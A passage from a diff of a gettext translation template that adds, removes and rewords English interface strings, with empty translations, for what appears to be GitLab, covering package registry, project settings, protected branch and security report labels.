+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -20392,6 +20905,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20716,6 +21232,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20767,9 +21292,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20935,6 +21457,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20980,6 +21505,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -21046,7 +21574,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -21097,6 +21625,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -21184,6 +21715,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -21355,6 +21889,42 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -21469,6 +22039,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21601,10 +22180,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21694,9 +22270,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21721,9 +22294,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21754,6 +22324,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21844,12 +22417,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21868,9 +22435,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21883,10 +22447,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21901,6 +22468,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21952,6 +22522,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -22060,12 +22633,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -22096,6 +22675,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -22114,6 +22696,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -22165,6 +22750,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -22189,9 +22777,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -22228,15 +22813,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -22288,27 +22900,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -22546,10 +23137,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22630,7 +23230,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22879,9 +23479,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22900,6 +23497,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22975,6 +23575,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -23044,9 +23656,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -23197,10 +23806,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -23236,6 +23845,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -23374,6 +23995,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -23398,6 +24025,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -23422,6 +24052,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23680,7 +24313,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -24070,6 +24703,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -24085,49 +24721,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
+msgstr ""
+
+msgid "ProjectService|Event triggered when a commit is created or updated."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when someone adds a comment."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when someone pushes to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Issue URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Jenkins URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Leave blank to use your current API key"
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Leave blank to use your current password"
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Mock service URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -24181,25 +24850,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -24211,7 +24883,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -24223,7 +24895,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -24235,10 +24907,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -24271,10 +24943,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -24298,15 +24973,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -24337,7 +25006,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -24346,7 +25015,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -24367,16 +25036,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
-msgstr ""
-
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -24388,12 +25054,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -24421,10 +25090,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24958,6 +25627,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24979,7 +25657,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -25000,6 +25678,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -25174,7 +25855,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -25363,7 +26044,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -25534,7 +26215,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -25546,7 +26227,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -25570,6 +26251,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25618,9 +26302,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25867,6 +26548,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25918,7 +26602,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25948,6 +26632,12 @@ msgstr[5] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -26074,6 +26764,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -26170,6 +26863,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -26494,7 +27190,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26638,6 +27337,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26671,9 +27373,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26770,6 +27469,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26788,6 +27490,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26812,9 +27517,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26866,6 +27568,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26917,6 +27622,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26926,6 +27634,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -27175,6 +27886,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -27250,13 +27964,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -27265,10 +27985,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -27283,6 +28003,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -27340,16 +28063,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your group"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -27415,15 +28150,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -27475,9 +28201,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -27487,9 +28210,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -27526,6 +28246,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
